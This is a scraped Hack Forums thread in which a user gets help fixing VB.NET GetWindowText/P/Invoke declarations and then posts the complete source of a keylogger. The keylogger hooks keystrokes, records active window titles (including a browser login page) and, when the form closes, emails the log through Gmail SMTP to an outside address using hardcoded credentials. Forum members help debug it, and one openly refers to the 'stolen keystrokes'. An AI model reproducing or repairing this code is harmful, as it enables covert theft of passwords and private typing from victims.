

Forum: [Hack Forums](#)

Thread: [GetWindowText\(\) throws annoying error.](#)

javiermad - August 29, 2014, 3:25 am

Ok I suppose this error isn't new at all to some of us, who has coded something having to deal with local hooks in vb.net

Code Unable to find an entry point named 'GetForegroundWindow' in DLL 'user32.dll'.

```
Code Private Declare Function GetForegroundWindow Lib "user32" () As Int32
```

```
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
```

```
Private Function GetActiveWindowTitle() As String
    Dim MyStr As String
    MyStr = New String(Chr(0), 100)
    GetWindowText(GetForeGroundWindow, MyStr, 100)
    MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
    Return MyStr
End Function
```

Now it throws back this very funny error. I saw an example which compiled successfully without problems. Now I try to compile the same on visual studio 2012 I get this very annoying error. Now I sit and ask, what the fuck is wrong? Like I don't seem to know what's wrong! Pls Help.

0xBB - August 29, 2014, 3:50 am

As long ? I guess you're using a old signature, please look here :

[http://msdn.microsoft.com/en-us/library/windows/desktop/ms633520\(v=vs.85\).aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms633520(v=vs.85).aspx)

Menalix - August 29, 2014, 4:00 am

Well the API Parameters for all API's is not right, so that could be a start.

log dot zip - August 29, 2014, 4:06 am

Yeah. P/Invoke provides the updated signature for .NET, you're using the old VB signature.

Once that's fixed and you have the APIs declared, it's a 1 liner (if you want it to).

javiermad - August 29, 2014, 4:10 am

Ok, changed to Integer and int32, still the same stupid error. What's wrong ! I followed a video of it in which a guy used VS 2010 and it compiled without errors.

I am coding with visual studio 2012, could it be compactibility issues?

Washi - August 29, 2014, 4:14 am

(Aug 29, 2014 04:06 AM)log dot zip Wrote: [\[CITE\]](#) Yeah. P/Invoke provides the updated signature for .NET, you're using the old VB signature.

Once that's fixed and you have the APIs declared, it's a 1 liner (if you want it to).

Yea only if you want to return a number and not a string >_>.

PInvoke declarations:

PHP Code

```
<?php
```

```
<DllImport("user32.dll", SetLastError:=True)> _
```

```
Private Shared Function GetForegroundWindow() As IntPtr
```

```
End Function
```

```
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> _
```

```
Private Shared Function GetWindowText(ByVal hwnd As IntPtr, ByVal lpString As StringBuilder,  
ByVal cch As Integer) As Integer
```

```
End Function
```

```
DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> _
```

```
Private Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer
```

```
End Function
```

And for the usage:

PHP Code

```
<?php
```

```
Dim windowHandle = GetForegroundWindow()
```

```
Dim builder As New StringBuilder(GetWindowTextLength(windowHandle))
```

```
Dim length = GetWindowText(windowHandle, builder, builder.Capacity)
```

```
Dim windowText = builder.ToString()
```

Menalix - August 29, 2014, 4:18 am

(Aug 29, 2014 04:10 AM)javiermad Wrote: [\[CITE\]](#) Ok, changed to Integer and int32, still the same stupid error. What's wrong ! I followed a video of it in which a guy used VS 2010 and it compiled without errors.

I am coding with visual studio 2012, could it be compactibility issues?

.....

Integer and int32 is the same.

If that's on the foreground api it should be IntPtr

Dont use PInvoke all what they provide for vb.net is very wrong which makes them incompatible when the process is running in 64bit

javiermad - August 29, 2014, 4:39 am

(Aug 29, 2014 04:18 AM)Menalix Wrote: [\[CITE\]](#)

Integer and int32 is the same.

If that's on the foreground api it should be IntPtr

Dont use PInvoke all what they provide for vb.net is very wrong which makes them incompatible when the process is running in 64bit

@Menalix, what do I use then? Could u kindly show me? I am kinda lost here. Pls.

log dot zip - August 29, 2014, 4:56 am

(Aug 29, 2014 04:15 AM)TheUnknownProgrammer Wrote: [\[CITE\]](#) Yea only if you want to return a number and not a string >_>.

PInvoke declarations:

PHP Code

```
<?php
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> _
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And for the usage:

PHP Code

```
<?php
Dim windowHandle = GetForegroundWindow()
Dim builder As New StringBuilder(GetWindowTextLength(windowHandle))
Dim length = GetWindowText(windowHandle, builder, builder.Capacity)
Dim windowText = builder.ToString()
```

Oops. Did not debug code before posting. Bad idea.

Heres a shorter example, that returns a string.

If you're going for readability though, TUPPES example is the way to go.

Declarations:

Usage:

SIM-1456245 - August 29, 2014, 7:14 am

I recently started finding interesting functions on pinvoke.com. The site is very nice, you can see the declarations, custom types, sample code and description. Trust me, it's a lot of fun.

Menalix - August 29, 2014, 11:01 am

(Aug 29, 2014 07:14 AM)Electroalek Wrote: [\[CITE\]](#) I recently started finding interesting functions on pinvoke.com. The site is very nice, you can see the declarations, custom types, sample code and description. Trust me, it's a lot of fun. Funnier to just load kernel32.dll up in IDA or Ollydbg and look around, and find structures you need in the c++ header files.

All pinvoke.com's parameters is wrong, I guess they just use a c# to VB.net converter, and that's why it's all wrong.

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It's funnier to just load kernel32, user32 and so on up in IDA or Ollydbg and look around.

SaketSaket - August 29, 2014, 12:33 pm

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I think it's pinvoke.net & not pinvoke.com... as i too try to learn from here.. ;)

0xBB - August 29, 2014, 1:36 pm

(Aug 29, 2014 11:01 AM)Menalix Wrote: [\[CITE\]](#) Funnier to just load kernel32.dll up in IDA or Ollydbg and look around, and find structures you need in the c++ header files.

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The parameters on the website is wrong.

It's funnier to just load kernel32, user32 and so on up in IDA or Ollydbg and look around.

Not sure why you would waste time doing that tbh, APIs have multiple signatures. As long as you dont use non-primitive "types" it will work or create your own structures to hold the values.

Or more dirty :

PHP Code

```
<?php
```

```
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
```

```
Private Shared Function GetWindowText(ByVal hwnd As IntPtr, <Out> ByVal lpString As IntPtr,
ByVal cch As Integer) As Integer
```

```
End Function
```

```
Dim dataStr As IntPtr = Marshal.AllocHGlobal(255)
```

```
If GetWindowText(Handle, dataStr, 255) = 0 Then
```

```
Throw New System.ComponentModel.Win32Exception()
```

```
End If
```

```
MsgBox(Marshal.PtrToStringAuto(dataStr))
```

LucidLullabies - August 29, 2014, 1:57 pm

(Aug 29, 2014 03:25 AM)javiermad Wrote: [\[CITE\]](#) Ok I suppose this error isn't new at all to some of us, who has coded something having to deal with local hooks in vb.net

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Long, ByVal lpString As String, ByVal cch As Long) As Long
```

```
Private Function GetActiveWindowTitle() As String
```

```
Dim MyStr As String
```

```
MyStr = New String(Chr(0), 100)
```

```
GetWindowText(GetForeGroundWindow, MyStr, 100)
```

```
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
```

```
Return MyStr
```

```
End Function
```

Now it throws back this very funny error. I saw an example which compiled successfully without problems. Now I try to compile the same on visual studio 2012 I get this very annoying error. Now I sit and ask, what the fuck is wrong? Like I don't seem to know what's wrong! Pls Help.

Here you go OP: Should work now.

```
Code Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
```

```
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd
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MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
```

End Function

javiermad - August 29, 2014, 2:09 pm

Ok had a fight with it, glad it works now. Thanks a whole lot guys. You guys are the best. I am very grateful

How ever it doesn't send logs tho, but I am working on it to see what it can do

Just sends data like

Time. And date and the process

Like this. I followed this source code <https://hackforums.net/printthread.php?tid=871861>

Code 28/09/2014 09:38:35

Notepad

It doesn't send the data typed in.. Others are working cool, just wondering

LucidLullabies - August 29, 2014, 2:17 pm

(Aug 29, 2014 02:09 PM)javiermad Wrote: [\[CITE\]](#) Ok had a fight with it, glad it works now. Thanks a whole lot guys. You guys are the best. I am very grateful

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Time. And date and the process

Like this. I followed this source code <https://hackforums.net/printthread.php?tid=871861>

Code 28/09/2014 09:38:35

Notepad

It doesn't send the data typed in.. Others are working cool, just wondering

Well, is the mail.body field set to the text contained in your text box? Are you storing stolen keystrokes in a text box even?

SIM-1456245 - August 29, 2014, 9:08 pm

(Aug 29, 2014 12:33 PM)SaketSaket Wrote: [\[CITE\]](#) I think it's pinvoke.net & not pinvoke.com... as i too try to learn from here.. ;)

Fuck, I always wonder why sites are always down for me... Oh shit not again, I have again used the wrong tld.

javiermad - August 30, 2014, 6:16 am

Ok i tried it again today and i got the following output just that it doesnt send the data attached to it. Really annoying.

Code 8/30/2014 2:05:52 PM

Untitled - Notepad

8/30/2014 2:05:54 PM

8/30/2014 2:05:55 PM
Untitled - Notepad

8/30/2014 2:06:07 PM

8/30/2014 2:06:10 PM
Untitled - Notepad

8/30/2014 2:06:12 PM

8/30/2014 2:06:15 PM
Untitled - Notepad

8/30/2014 2:06:18 PM

8/30/2014 2:06:22 PM
Untitled - Notepad

8/30/2014 2:06:32 PM

8/30/2014 2:06:36 PM
Test Login - Google Chrome

8/30/2014 2:07:01 PM
My source code goes like this

```
Code Imports Microsoft.Win32
Imports System.Net.Mail
Imports System.Net
Imports System.Text
Imports System.Runtime.InteropServices
```

```
Public Class Form1
    Dim WithEvents K As New Keyboard
    Dim append As String
    Dim registrykey As Object
```

```
Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
```

```
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function GetWindowText(ByVal hwnd As IntPtr, ByVal lpString As StringBuilder,
ByVal cch As Integer) As Integer
End Function
```

```
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer
End Function
```

```
Dim strin As String = Nothing
Dim Time As DateTime
```

```

Private Function GetActiveWindowTitle() As String
    Dim S As New StringBuilder(256)
    GetWindowText(GetForegroundWindow(), S, S.Capacity)
    Return S.ToString
End Function

```

```

Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
    K.DisposeHook()
    Dim SmtpServer As New SmtpClient
    SmtpServer.EnableSsl = True
    Dim mail As New MailMessage
    SmtpServer.Credentials = New Net.NetworkCredential("irniz@gmail.com", "suppy120")
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    mail = New MailMessage
    mail.From = New MailAddress("irniz@gmail.com")
    mail.To.Add("sanzim@onetell.com")
    mail.Subject = "Key Log Details From: [- " & Environment.MachineName.ToString & "\" & Environment.UserName.ToString & " - " & System.DateTime.Now & "]"
    mail.Body = "Log:" + vbNewLine + RichTextBox1.Text
    SmtpServer.Send(mail)
End Sub

```

```

Private Sub K_down(ByVal key As String) Handles K.Down
    append &= key
    RichTextBox1.Text &= key
End Sub

```

```

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    K.CreateHook()
    Timer1.Start()
    Label1.Text = Nothing
    Time = DateTime.Now
    Timer2.Start()
End Sub

```

```

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    If strin <> GetActiveWindowTitle() Then
        RichTextBox1.Text = RichTextBox1.Text + vbNewLine + Now + vbNewLine + GetActiveWindowTitle() + vbNewLine
        strin = GetActiveWindowTitle()
    End If
End Sub

```

```

Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    Dim Difference As TimeSpan = DateTime.Now.Subtract(Time)
    Label1.Text = Difference.Hours.ToString & ":" & Difference.Minutes.ToString & ":" & Difference.Seconds.ToString & "." & Difference.Milliseconds.ToString
End Sub
End Class

```

Notice I even had to append the logs to the RichTextbox1. Where could I be wrong? That's what I

obviously don't have an idea.

LucidLullabies - August 30, 2014, 11:00 am

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```
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
Private Shared Function GetWindowText(ByVal hwnd As IntPtr, ByVal lpString As StringBuilder,
ByVal cch As Integer) As Integer
```

End Function

```
<DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>  
Private Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer  
End Function
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```
Dim strin As String = Nothing  
Dim Time As DateTime
```

```
Private Function GetActiveWindowTitle() As String  
    Dim S As New StringBuilder(256)  
    GetWindowText(GetForegroundWindow(), S, S.Capacity)  
    Return S.ToString  
End Function
```

```
Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles  
Me.FormClosing  
    K.DisposeHook()  
    Dim SmtpServer As New SmtpClient  
    SmtpServer.EnableSsl = True  
    Dim mail As New MailMessage  
    SmtpServer.Credentials = New Net.NetworkCredential("irniz@gmail.com", "suppy120")  
    SmtpServer.Port = 587  
    SmtpServer.Host = "smtp.gmail.com"  
    mail = New MailMessage  
    mail.From = New MailAddress("irniz@gmail.com")  
    mail.To.Add("sanzim@onetell.com")  
    mail.Subject = "Key Log Details From: [- " & Environment.MachineName.ToString & "\" &  
Environment.UserName.ToString & " - " & System.DateTime.Now & "]"  
    mail.Body = "Log:" + vbNewLine + RichTextBox1.Text  
    SmtpServer.Send(mail)  
End Sub
```

```
Private Sub K_down(ByVal key As String) Handles K.Down  
    append &= key  
    RichTextBox1.Text &= key  
End Sub
```

```
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load  
    K.CreateHook()  
    Timer1.Start()  
    Label1.Text = Nothing  
    Time = DateTime.Now  
    Timer2.Start()  
End Sub
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```
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick  
    If strin <> GetActiveWindowTitle() Then  
        RichTextBox1.Text = RichTextBox1.Text + vbNewLine + Now + vbNewLine +  
GetActiveWindowTitle() + vbNewLine  
        strin = GetActiveWindowTitle()  
    End If  
End Sub
```

```
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    Dim Difference As TimeSpan = DateTime.Now.Subtract(Time)
    Label1.Text = Difference.Hours.ToString & ":" & Difference.Minutes.ToString & ":" &
Difference.Seconds.ToString & "." & Difference.Milliseconds.ToString
End Sub
End Class
```

Notice I even had to append the logs to the RichTextbox1. Where could I be wrong? That's what I obviously don't have an idea.

Go to debug and uncheck the Enable visual studio process, you should see the desired actions when you debug from now on.

[img]<http://s22.postimg.org/phv3hu02p/derp.jpg>[/img]